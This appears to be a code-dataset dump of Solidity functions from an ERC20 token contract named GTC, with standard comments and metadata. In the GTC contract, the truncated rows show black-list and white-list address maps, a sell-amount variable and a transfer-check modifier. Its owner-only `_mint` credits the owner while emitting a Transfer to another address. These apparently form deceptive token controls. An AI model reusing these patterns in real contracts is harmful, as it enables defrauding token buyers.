* TIP: For a detailed writeup see our... | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
7569,
8117
]
} | 8,898 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
8393,
8699
]
} | 8,899 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _to... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
9026,
9449
]
} | 8,900 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount)... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
9884,
10233
]
} | 8,901 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(send... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
10678,
11270
]
} | 8,902 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
12989,
13084
]
} | 8,903 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* -... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
13682,
13779
]
} | 8,904 |
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
94,
154
]
} | 8,905 | ||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/... | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
238,
311
]
} | 8,906 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.